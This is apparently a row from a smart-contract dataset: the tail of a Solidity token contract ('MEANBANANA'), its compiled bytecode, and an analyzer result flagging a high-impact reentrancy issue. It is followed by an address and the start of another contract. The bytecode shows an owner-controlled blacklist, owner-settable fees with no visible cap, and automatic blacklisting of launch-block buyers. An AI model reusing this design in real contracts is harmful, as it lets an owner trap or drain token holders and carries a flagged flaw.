function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613044565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a1565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa4565b610869565b604051610264919061346b565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f9190613486565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613683565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f51565b6108bd565b6040516102f7919061346b565b60405180910390f35b34801561030c57600080fd5b50610315610996565b6040516103229190613683565b60405180910390f35b34801561033757600080fd5b5061034061099c565b60405161034d91906136f8565b60405180910390f35b34801561036257600080fd5b5061036b6109a5565b6040516103789190613450565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612eb7565b6109cb565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061308d565b610abb565b005b3480156103df57600080fd5b506103e8610b6c565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612eb7565b610c3d565b60405161041e9190613683565b60405180910390f35b34801561043357600080fd5b5061043c610c8e565b005b34801561044a57600080fd5b50610465600480360381019061046091906130ba565b610de1565b005b34801561047357600080fd5b5061047c610e80565b6040516104899190613683565b60405180910390f35b34801561049e57600080fd5b506104a7610e86565b6040516104b49190613450565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061308d565b610eaf565b005b3480156104f257600080fd5b506104fb610f68565b6040516105089190613683565b60405180910390f35b34801561051d57600080fd5b50610526610f6e565b60405161053391906134a1565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906130ba565b610fab565b005b34801561057157600080fd5b5061058c600480360381019061058791906130e7565b61104a565b005b34801561059a57600080fd5b506105b560048036038101906105b09190612fa4565b611101565b6040516105c2919061346b565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612eb7565b61111f565b6040516105ff919061346b565b60405180910390f35b34801561061457600080fd5b5061061d61113f565b005b34801561062b57600080fd5b5061064660048036038101906106419190612fe4565b611218565b005b34801561065457600080fd5b5061065d611352565b60405161066a9190613683565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612f11565b611358565b6040516106a79190613683565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d291906130ba565b6113df565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612eb7565b61147e565b005b61070a611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e906135e3565b60405180910390fd5b60005b8151811015610828576001601160008484815181106107bc576107bb613a76565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610820906139cf565b91505061079a565b5050565b60606040518060400160405280600a81526020017f4d45414e42414e414e4100000000000000000000000000000000000000000000815250905090565b600061087d610876611640565b8484611648565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108ca848484611813565b61098b846108d6611640565b61098685604051806060016040528060288152602001613f2460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093c611640565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f39092919063ffffffff16565b611648565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109d3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a57906135e3565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ac3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b47906135e3565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bad611640565b73ffffffffffffffffffffffffffffffffffffffff161480610c235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0b611640565b73ffffffffffffffffffffffffffffffffffffffff16145b610c2c57600080fd5b6000479050610c3a81612257565b50565b6000610c87600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612352565b9050919050565b610c96611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de9611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906135e3565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610eb7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3b906135e3565b60405180910390fd5b80601660146101000a81548160ff0219169083151502179055504360088190555050565b60185481565b60606040518060400160405280600a81526020017f4d45414e42414e414e4100000000000000000000000000000000000000000000815250905090565b610fb3611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611040576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611037906135e3565b60405180910390fd5b8060198190555050565b611052611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d6906135e3565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061111561110e611640565b8484611813565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611180611640565b73ffffffffffffffffffffffffffffffffffffffff1614806111f65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111de611640565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ff57600080fd5b600061120a30610c3d565b9050611215816123c0565b50565b611220611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a4906135e3565b60405180910390fd5b60005b8383905081101561134c5781600560008686858181106112d3576112d2613a76565b5b90506020020160208101906112e89190612eb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611344906139cf565b9150506112b0565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e7611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146b906135e3565b60405180910390fd5b8060188190555050565b611486611640565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611513576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150a906135e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157a90613543565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90613663565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90613563565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118069190613683565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a90613623565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ea906134c3565b60405180910390fd5b60008111611936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192d90613603565b60405180910390fd5b61193e610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ac575061197c610e86565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef257601660149054906101000a900460ff16611a3b576119cd610e86565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a31906134e3565b60405180910390fd5b5b601754811115611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7790613523565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b245750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5a90613583565b60405180910390fd5b6001600854611b7291906137b9565b4311158015611bce5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbe576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6b5760185481611d2084610c3d565b611d2a91906137b9565b10611d6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6190613643565b60405180910390fd5b5b6000611d7630610c3d565b9050600060195482101590506017548210611d915760175491505b808015611dab5750601660159054906101000a900460ff16155b8015611e055750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1b575060168054906101000a900460ff165b8015611e715750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec75750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611eef57611ed5826123c0565b60004790506000811115611eed57611eec47612257565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204b5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205a57600090506121e1565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121055750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c85750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e057600b54600d81905550600c54600e819055505b5b6121ed84848484612648565b50505050565b600083831115829061223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223291906134a1565b60405180910390fd5b506000838561224a919061389a565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a760028461267590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d2573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232360028461267590919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234e573d6000803e3d6000fd5b5050565b6000600654821115612399576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239090613503565b60405180910390fd5b60006123a36126bf565b90506123b8818461267590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f8576123f7613aa5565b5b6040519080825280602002602001820160405280156124265781602001602082028036833780820191505090505b509050308160008151811061243e5761243d613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e057600080fd5b505afa1580156124f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125189190612ee4565b8160018151811061252c5761252b613a76565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611648565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f795949392919061369e565b600060405180830381600087803b15801561261157600080fd5b505af1158015612625573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612656576126556126ea565b5b61266184848461272d565b8061266f5761266e6128f8565b5b50505050565b60006126b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290c565b905092915050565b60008060006126cc61296f565b915091506126e3818361267590919063ffffffff16565b9250505090565b6000600d541480156126fe57506000600e54145b156127085761272b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061273f876129ce565b95509550955095509550955061279d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3690919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e81612ade565b6128888483612b9b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e59190613683565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294a91906134a1565b60405180910390fd5b5060008385612962919061380f565b9050809150509392505050565b600080600060065490506000670de0b6b3a764000090506129a3670de0b6b3a764000060065461267590919063ffffffff16565b8210156129c157600654670de0b6b3a76400009350935050506129ca565b81819350935050505b9091565b60008060008060008060008060006129eb8a600d54600e54612bd5565b92509250925060006129fb6126bf565b90506000806000612a0e8e878787612c6b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f3565b905092915050565b6000808284612a8f91906137b9565b905083811015612ad4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acb906135a3565b60405180910390fd5b8091505092915050565b6000612ae86126bf565b90506000612aff8284612cf490919063ffffffff16565b9050612b5381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8090919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb082600654612a3690919063ffffffff16565b600681905550612bcb81600754612a8090919063ffffffff16565b6007819055505050565b600080600080612c016064612bf3888a612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c2b6064612c1d888b612cf490919063ffffffff16565b61267590919063ffffffff16565b90506000612c5482612c46858c612a3690919063ffffffff16565b612a3690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c848589612cf490919063ffffffff16565b90506000612c9b8689612cf490919063ffffffff16565b90506000612cb28789612cf490919063ffffffff16565b90506000612cdb82612ccd8587612a3690919063ffffffff16565b612a3690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d075760009050612d69565b60008284612d159190613840565b9050828482612d24919061380f565b14612d64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5b906135c3565b60405180910390fd5b809150505b92915050565b6000612d82612d7d84613738565b613713565b90508083825260208201905082856020860282011115612da557612da4613ade565b5b60005b85811015612dd55781612dbb8882612ddf565b845260208401935060208301925050600181019050612da8565b5050509392505050565b600081359050612dee81613ede565b92915050565b600081519050612e0381613ede565b92915050565b60008083601f840112612e1f57612e1e613ad9565b5b8235905067ffffffffffffffff811115612e3c57612e3b613ad4565b5b602083019150836020820283011115612e5857612e57613ade565b5b9250929050565b600082601f830112612e7457612e73613ad9565b5b8135612e84848260208601612d6f565b91505092915050565b600081359050612e9c81613ef5565b92915050565b600081359050612eb181613f0c565b92915050565b600060208284031215612ecd57612ecc613ae8565b5b6000612edb84828501612ddf565b91505092915050565b600060208284031215612efa57612ef9613ae8565b5b6000612f0884828501612df4565b91505092915050565b60008060408385031215612f2857612f27613ae8565b5b6000612f3685828601612ddf565b9250506020612f4785828601612ddf565b9150509250929050565b600080600060608486031215612f6a57612f69613ae8565b5b6000612f7886828701612ddf565b9350506020612f8986828701612ddf565b9250506040612f9a86828701612ea2565b9150509250925092565b60008060408385031215612fbb57612fba613ae8565b5b6000612fc985828601612ddf565b9250506020612fda85828601612ea2565b9150509250929050565b600080600060408486031215612ffd57612ffc613ae8565b5b600084013567ffffffffffffffff81111561301b5761301a613ae3565b5b61302786828701612e09565b9350935050602061303a86828701612e8d565b9150509250925092565b60006020828403121561305a57613059613ae8565b5b600082013567ffffffffffffffff81111561307857613077613ae3565b5b61308484828501612e5f565b91505092915050565b6000602082840312156130a3576130a2613ae8565b5b60006130b184828501612e8d565b91505092915050565b6000602082840312156130d0576130cf613ae8565b5b60006130de84828501612ea2565b91505092915050565b6000806000806080858703121561310157613100613ae8565b5b600061310f87828801612ea2565b945050602061312087828801612ea2565b935050604061313187828801612ea2565b925050606061314287828801612ea2565b91505092959194509250565b600061315a8383613166565b60208301905092915050565b61316f816138ce565b82525050565b61317e816138ce565b82525050565b600061318f82613774565b6131998185613797565b93506131a483613764565b8060005b838110156131d55781516131bc888261314e565b97506131c78361378a565b9250506001810190506131a8565b5085935050505092915050565b6131eb816138e0565b82525050565b6131fa81613923565b82525050565b61320981613935565b82525050565b600061321a8261377f565b61322481856137a8565b935061323481856020860161396b565b61323d81613aed565b840191505092915050565b60006132556023836137a8565b915061326082613afe565b604082019050919050565b6000613278603f836137a8565b915061328382613b4d565b604082019050919050565b600061329b602a836137a8565b91506132a682613b9c565b604082019050919050565b60006132be601c836137a8565b91506132c982613beb565b602082019050919050565b60006132e16026836137a8565b91506132ec82613c14565b604082019050919050565b60006133046022836137a8565b915061330f82613c63565b604082019050919050565b60006133276023836137a8565b915061333282613cb2565b604082019050919050565b600061334a601b836137a8565b915061335582613d01565b602082019050919050565b600061336d6021836137a8565b915061337882613d2a565b604082019050919050565b60006133906020836137a8565b915061339b82613d79565b602082019050919050565b60006133b36029836137a8565b91506133be82613da2565b604082019050919050565b60006133d66025836137a8565b91506133e182613df1565b604082019050919050565b60006133f96023836137a8565b915061340482613e40565b604082019050919050565b600061341c6024836137a8565b915061342782613e8f565b604082019050919050565b61343b8161390c565b82525050565b61344a81613916565b82525050565b60006020820190506134656000830184613175565b92915050565b600060208201905061348060008301846131e2565b92915050565b600060208201905061349b60008301846131f1565b92915050565b600060208201905081810360008301526134bb818461320f565b905092915050565b600060208201905081810360008301526134dc81613248565b9050919050565b600060208201905081810360008301526134fc8161326b565b9050919050565b6000602082019050818103600083015261351c8161328e565b9050919050565b6000602082019050818103600083015261353c816132b1565b9050919050565b6000602082019050818103600083015261355c816132d4565b9050919050565b6000602082019050818103600083015261357c816132f7565b9050919050565b6000602082019050818103600083015261359c8161331a565b9050919050565b600060208201905081810360008301526135bc8161333d565b9050919050565b600060208201905081810360008301526135dc81613360565b9050919050565b600060208201905081810360008301526135fc81613383565b9050919050565b6000602082019050818103600083015261361c816133a6565b9050919050565b6000602082019050818103600083015261363c816133c9565b9050919050565b6000602082019050818103600083015261365c816133ec565b9050919050565b6000602082019050818103600083015261367c8161340f565b9050919050565b60006020820190506136986000830184613432565b92915050565b600060a0820190506136b36000830188613432565b6136c06020830187613200565b81810360408301526136d28186613184565b90506136e16060830185613175565b6136ee6080830184613432565b9695505050505050565b600060208201905061370d6000830184613441565b92915050565b600061371d61372e565b9050613729828261399e565b919050565b6000604051905090565b600067ffffffffffffffff82111561375357613752613aa5565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c48261390c565b91506137cf8361390c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380457613803613a18565b5b828201905092915050565b600061381a8261390c565b91506138258361390c565b92508261383557613834613a47565b5b828204905092915050565b600061384b8261390c565b91506138568361390c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561388f5761388e613a18565b5b828202905092915050565b60006138a58261390c565b91506138b08361390c565b9250828210156138c3576138c2613a18565b5b828203905092915050565b60006138d9826138ec565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061392e82613947565b9050919050565b60006139408261390c565b9050919050565b600061395282613959565b9050919050565b6000613964826138ec565b9050919050565b60005b8381101561398957808201518184015260208101905061396e565b83811115613998576000848401525b50505050565b6139a782613aed565b810181811067ffffffffffffffff821117156139c6576139c5613aa5565b5b80604052505050565b60006139da8261390c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a0d57613a0c613a18565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ee7816138ce565b8114613ef257600080fd5b50565b613efe816138e0565b8114613f0957600080fd5b50565b613f158161390c565b8114613f2057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122010c1ab50af71b8d5677b4d53507ff45eecf7a658763b304a4620ee3645343e0d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 6,134 |
0xdf2385d2ad16261f2efb91a490e77a3eea86ffe3
|
pragma solidity ^0.6.0;
library SafeMath {
